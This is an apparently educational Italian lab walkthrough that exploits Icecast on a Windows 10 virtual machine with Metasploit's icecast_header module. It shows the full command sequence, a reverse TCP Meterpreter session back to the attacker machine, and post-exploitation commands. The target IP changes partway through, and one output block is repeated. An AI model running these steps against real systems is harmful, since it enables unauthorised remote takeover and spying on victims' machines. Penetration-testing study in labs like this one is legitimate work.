EXPLOIT ICECAST

Oggi proveremo ad entrare nella macchina virtuale di Windows 10 mentre il programma **ICECAST** è attivo:

ICECAST: Icecast è un software open source per lo streaming audio su Internet. È utilizzato per creare stazioni radio online e per la trasmissione di flussi audio in tempo reale

Cerchiamo l'exploit usando **SEARCH**

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header   2004-09-28       great  No     Icecast Header Overwrite
```

Con il comando **SHOW OPTIONS** vediamo le impostazioni di questo exploit

```
Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.14     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

Modifichiamo le impostazioni usando il comando **SET**:
Lhost: IP macchina attacante 192.168.1.14
Rhost: IP macchina vittima 192.168.1.40
Faccio partire l'exploit usando il comando **EXPLOIT**

```
View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 exploit(windows/http/icecast_header) > set rhost 192.168.1.251
rhost => 192.168.1.251
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.1.14:4444
[*] Sending stage (177734 bytes) to 192.168.1.251
[*] Meterpreter session 1 opened (192.168.1.14:4444 -> 192.168.1.251:49948) at 2024-11-14 12:30:47 +0100
```

Per capire se la connessione è avvenuta verrà riportato il seguente messaggio

```
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.1.14:4444
[*] Sending stage (177734 bytes) to 192.168.1.251
[*] Meterpreter session 1 opened (192.168.1.14:4444 -> 192.168.1.251:49948) at 2024-11-14 12:30:47 +0100
```

La connessione è aperta, facciamo una prova chiedendo l'ip della macchina

```
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  4
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:ab:50:6e
MTU          : 1492
IPv4 Address : 192.168.1.251
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1d5e:7743:ff01:7088
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  5
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : 2001:0:2851:782c:1090:3070:b0cd:6f2d
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::1090:3070:b0cd:6f2d
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Proviamo a fare uno screenshot del Desktop usando il comando **screenshot**